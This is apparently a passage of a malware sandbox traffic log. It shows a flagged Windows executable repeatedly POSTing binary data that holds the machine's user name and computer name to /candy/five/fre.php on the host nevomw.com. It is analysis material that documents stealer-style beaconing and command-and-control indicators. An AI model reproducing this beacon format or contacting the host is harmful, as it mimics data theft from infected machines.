Dec 2, 2020 11:53:19.844413042 CET	1219	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49721	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:45.670062065 CET	82	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:45.722135067 CET	82	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:45.795233965 CET	82	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	49812	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:20.223712921 CET	1228	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:20.275996923 CET	1229	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:20.352596998 CET	1229	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	49814	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:20.813499928 CET	1237	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:20.866096020 CET	1237	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:20.939320087 CET	1242	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	49815	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:21.264204979 CET	1244	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:21.316510916 CET	1245	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:21.393949986 CET	1245	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	49817	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:22.027796030 CET	1253	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:22.080390930 CET	1254	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:22.162085056 CET	1258	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	49818	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:23.193449974 CET	1260	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:23.245426893 CET	1260	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:23.321213007 CET	1261	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	49820	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:23.601424932 CET	1267	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:23.656766891 CET	1267	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:23.731801987 CET	1270	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	49821	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:23.968585968 CET	1275	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:24.022847891 CET	1275	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:24.096740961 CET	1275	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	49822	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:24.405828953 CET	1276	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:24.457792044 CET	1277	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:24.532399893 CET	1278	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	49824	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:24.836771011 CET	1280	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:24.889547110 CET	1280	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:24.964977026 CET	1284	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	49825	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:25.252017975 CET	1287	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:25.304867983 CET	1287	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:25.382786036 CET	1290	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49722	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:46.501884937 CET	83	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:46.553891897 CET	83	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:46.626796007 CET	84	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	49826	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:25.628463984 CET	1296	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:25.681499004 CET	1296	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:25.760842085 CET	1298	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	49828	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:26.033210039 CET	1301	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:26.086241007 CET	1306	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:26.161587954 CET	1307	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	49829	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:26.444756031 CET	1318	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:26.496526957 CET	1318	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:26.583801031 CET	1320	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	49830	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:26.882936001 CET	1326	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:26.936121941 CET	1327	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:27.009886026 CET	1328	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	49832	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:27.289891005 CET	1339	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:27.345532894 CET	1344	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:27.425017118 CET	1345	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	49833	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:27.719155073 CET	1352	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:27.772336960 CET	1352	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:27.845240116 CET	1353	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	49835	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:28.159276962 CET	1365	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:28.211191893 CET	1365	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:28.285478115 CET	1367	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	49837	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:28.578865051 CET	1368	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:28.633028030 CET	1369	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:28.707381010 CET	1373	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	49838	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
